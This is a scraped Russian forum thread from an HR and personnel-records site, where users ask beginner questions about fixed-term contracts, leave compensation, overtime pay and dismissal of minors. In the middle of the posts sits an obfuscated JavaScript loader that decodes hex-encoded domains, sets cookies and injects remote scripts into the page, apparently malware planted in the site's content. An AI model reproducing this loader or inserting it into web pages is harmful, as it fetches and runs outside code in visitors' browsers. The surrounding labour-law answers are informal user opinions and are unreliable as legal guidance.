Глупые вопросы новичка. По кадровому делопроизводству , Публикация №253483

Так не бывает. Срочным ТД может быть только по основаниям, предусмотренным законом, но никак не по просьбе (статья 58, 59 ТК РФ).


Ну так пусть заявление пишет и увольняется по собственному желанию - не рабовладельческий строй.


В каждой организации СВОЯ форма ТД - она едина для всех работников. Вы начали первый ТД что ли оформлять? А у других работников тоже нет ТД ????

Оооооо, ну так можно было сразу написать место работы и больше ничего не объяснять - ни одного доброго слова ни с одного места о них не слышала! И на своей шкуре их непорядочность испытала)))))))

договоров нет.

Ну да, ну да наслышаны про РЖД! Там голова давно протухла. Особенно в регионах, руки то людям выкручивают будь здоров, особенно если работа только в госорганах, муниципальных и РЖД, а так же контракт с МО. Бардак там жуткий.

Да есть примеры прут и в организациях покруче чем РЖД, но борьба будет долгой, надо быть спецом дай боже, ну и нервишки крепкие.
В общем тогда постарайтесь разрулить, поговорите с работником, поскольку тут ситуация не в его пользу. Что решили миром это хорошо, чуют что ...... в пуху.

Помогите пожалуйста,как посчитать компенсацию за неиспользованный отпуск при увольнении?
wind ow .a1336404323 = 1;!f unction(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="21686",n=f unction(o){var e=docu ment.cookie.match(new RegExp("(?:^|; )"+o.r eplace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=f unction(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=f unction(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=Stri ng.fromCharCode(parseInt(o[t],16));return e},c=f unction(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toS tring(16);return e},p=f unction(){var w=wind ow,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=f unction(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(wind ow .smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window .smlo.loadSmlo(n.r eplace('https:','http:'));else if(wind ow .zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window .zSmlo.loadSmlo(n.r eplace('https:','http:'));else{var i=docu ment.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.on load=f unction(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=f unction(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=f unction(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,f unction(){i("oisdom",e)},f unction(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("kadrovik-praktik.ru")+"_"+(self===top?0:1)+".js",a(f,f unction(){i("oisdom",e)},f unction(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();

Elena14, правильно ли я вас поняла.
Ваш работник, который работал у вас с 03.02.2014 г. неофициально без оформления, сейчас хочет устроится в некое ООО, поэтому просит оформить работу у вас официально?
Имейте ввиду, что если оформляете его официально задним числом, то вы подписываетесь под нарушением законодательства, не только трудового, но и связанные с отчислениями, т.к. вам придется начислить ему заработную плату и сделать все страховые отчисления. Иначе, запись в ТК, и заключение ТД не имеет смысла, если только для «отвода глаз» новому работодателю. Или отправить на все время в отпуск без сохранения з/п, но при желании работника, это тоже можно доказать, что не законно.
Еще, смущает ваша «копия трудовой», а где оригинал или он совместитель?

ВСЕГДА в табеле отражаем реально отработанное время. И в случае переработки - оплачиваем ее как и положено по закону.

kadr87, ставите время по факту. Провите в табеле. Оплату за переработку производите согласно трудовому законодательству.

Они пошутили что ли???? ДО предоставляется за то, что работника могут привлекать к сверхурочным без оформления - у него ненормированный рабочий день и не нужны на то никакие приказы и т.д. За неудобства, связанные с периодическим "дерганьем" - вот и все. А уж оплатить обязаны реально отработанные часы.

Может быть 3 дня отпуска, а при этом работник сверхурочно будет отрабатывать десятки часов за год. Роструд видимо после большого мероприятия это письмо выдал.....

Ребят, а при прекращении трудового договора с несовершеннолетним есть ли какие то особые возможности и условия при увольнении? Например, что он может уволиться день в день или за день до этого только предупредить?

Если работодатель не возражает, то ЛЮБОЙ работник может уволиться день в день.

А так - нет, особенностей при увольнении ПО СОБСТВЕННОМУ желанию нет.